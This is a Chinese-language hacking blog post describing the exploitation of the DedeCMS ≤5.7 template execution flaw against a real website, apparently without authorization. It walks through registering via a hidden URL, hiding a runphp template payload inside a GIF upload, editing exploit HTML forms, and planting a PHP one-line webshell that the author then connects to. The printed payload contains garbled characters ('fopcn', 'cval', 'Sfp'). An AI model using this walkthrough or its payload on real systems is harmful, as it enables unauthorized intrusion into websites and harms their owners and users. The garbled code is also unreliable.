這幾天在拿一個站的shell,經過前期的信息收集,發現網站用的是Dedecms,把常用的幾個以前Dedecms出的漏洞測試了一遍,都沒成功。在翻收集的漏洞資料時看到了“Dedecms<=V5.7 Final模板執行漏洞”這個漏洞,記得這個漏洞是今年夏天出的,由於漏洞利用過程比較麻煩,當時沒耐心測試就放在電腦里沒動。一看漏洞居然不會利用,好在在某論壇找到了帖子,看了幾遍總算會了,照葫蘆畫瓢,最后如願拿到網站的shell。雖然不是新漏洞了,但由於漏洞利用比較麻煩,網上介紹的不多,仍然有不少站存在這個漏洞,今天就把這個漏洞以及我拿shell的過程介紹給大家,沒什么技術含量,早知道了的朋友和大牛請直接飄過。
一、Dedecms<=V5.7 Final模板執行
漏洞簡介
Dedecms<=V5.7 Final模板執行漏洞是別人公布的,下面摘抄部分內容:Dedecms V5.7 Final版本中的各個文件存在一系列問題,經過精心構造的含有惡意代碼的模板內容可以通過用戶后台的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執行惡意代碼。由於我對php不懂,只能摘抄別人的漏洞分析了,大家見諒。
二、拿shell的過程
上面說到Dedecms<=V5.7 Final模板執行漏洞利用起來比較麻煩,是因為即使漏洞利用程序別人已經公布了,但你在利用時漏洞利用程序中有很多需要根據具體情況修改的地方,有一個地方沒有修改或修改的不對漏洞就不能利用成功。下面來看詳細漏洞利用過程。
要利用這個漏洞,首先要注冊一個用戶。很多網站出於種種原因隱藏了網站首頁的注冊新用戶的鏈接,我遇到的這個站就是這樣,不過這難不倒我,在網站地址后加上/member/index_do.php?fmdo=user&dopost=regnew就來到了注冊新用戶的頁面。
注冊一個新個人用戶,這里我注冊了一個名為weixianmanbu的用戶,注冊成功后會自動來到會員中心,當然,由於版本的不同,會員中心的界面可能會有所不同。
下面要用到第一個漏洞利用程序,也就是精心構造的模板文件。為了能順利上傳,文件的后綴弄成.gif。別人提供的一個模板文件的范例為:
{dede:name runphp='yes'}
$fp=@fopcn("1.php",‘a’);
@fwrite($fp,'<'.'?php',"\r\n\r\n".'cval($_POST{cmd})'."\r\n\r\n?".">\r\n");
@fclose(Sfp);
{/dede:name}
代碼的作用是生成一個PHP一句話木馬,我把它簡單修改了一下生成的文件名和一句話木馬的連接密碼,修改后為
{dede:name runphp='yes'}
$fp=@fopcn("x.php",‘a’);
@fwrite($fp,'<'.'?php',"\r\n\r\n".'cval($_POST{cmd})'."\r\n\r\n?".">\r\n");
@fclose(Sfp);
{/dede:name}
為了繞過上傳檢查,需要在代碼前面加上gif89a,但在實際拿shell時,加了gif89a后仍然不讓上傳,我索性用系統自帶的畫圖程序新建了一個gif文件(一個紅色的小長方形),保存為1.gif,然后用記事本打開1.gif,在文件內容最后按回車鍵重起一行,然后加入代碼,代碼就不寫了,想要的可以來找我要。
保存修改后1.gif已經可以成功上傳,而且縮略圖也顯示正常。
1.gif已經構造完成,該把它傳到網站上了。點內容管理中的文章右面的“發表”來發表一篇文章,文章標題隨便寫,文章隸屬的欄目我隨便選了一個眼科知識,在“縮略圖”的地方通過“瀏覽”按鈕選擇精心構造的1.gif上傳上去,輸入驗證碼點“提交”按鈕,提示文章發表成功,點“更改文章”就來到了頁面。右鍵-->查看源文件,打開當前網頁的源文件,一會要用到。
下面該另兩個漏洞利用程序出場了,它們都是提交內容用的html文件,是漏洞利用動畫里附帶的,我這里直接借用了,呵呵。兩個html文件的名字分別為1.html和2.html。根據具體情況來修改1.html和2.html,首先來修改1.html。l.html有3個地方需要修改,分別是提交地址、aid和oldurl。用記事本打開1.html,把actiion后面的提交地址中的修改為目標網站的地址,來到剛才打開的網頁源代碼的文件,Ctrl+F,查找aid,發現剛才發表文章的aid為383。
把1.html文件中的aid對應的value修改為383,網頁源代碼中oldlitpic的值為/uploads/userup/26/12Y61T15-2928.gif,我只需要userup后面的數字26,把26替換1.html中oldurl值../uploads/userup/2/1.gif中userup后面的數字2。
1.html修改完成,來修改2.html。用記事本打開2.html,2.html需要修改的地方有5處,分別是提交地址、aid、idhash、templet和option,提交地址修改為目標網站的地址,aid和idhash在網頁源代碼中找到修改為對應的值,templet對應的是網頁源代碼中oldlitpic的值,還是只需要把2修改為對應的26就行,option對應的是發表的文章隸屬的欄目,在網頁源代碼中查找selected,發現我發表文章的欄目眼科知識的option value='22',把2.html中option的值也修改為22,修改完成的2.html。保存對2.html的修改。
用瀏覽器打開修改后的1.html,通過“瀏覽”按鈕選擇構造的1.gif,點“更改”按鈕。
先看到“修改文件成功”再看到“附件不存在”的提示就說明修改成功了。接着用瀏覽器打開2.html,輸入驗證碼后點“提交”按鈕,看到成功更改文章的提示就是提交成功了,點“查看文章”,看到縮略圖就說明漏洞利用成功了,已經在plus目錄下生成了一句話木馬文件x.php。
一句話木馬的地址我就不發了,為了不必要的麻煩。我們用lanker一句話PHP后門客戶端連接,成功得到了shell。刪除剛才發表的文章,至此拿站的目標完成。提權就先不提了,已經快到下午1點了,還沒吃午飯呢,吃飯去,哈哈。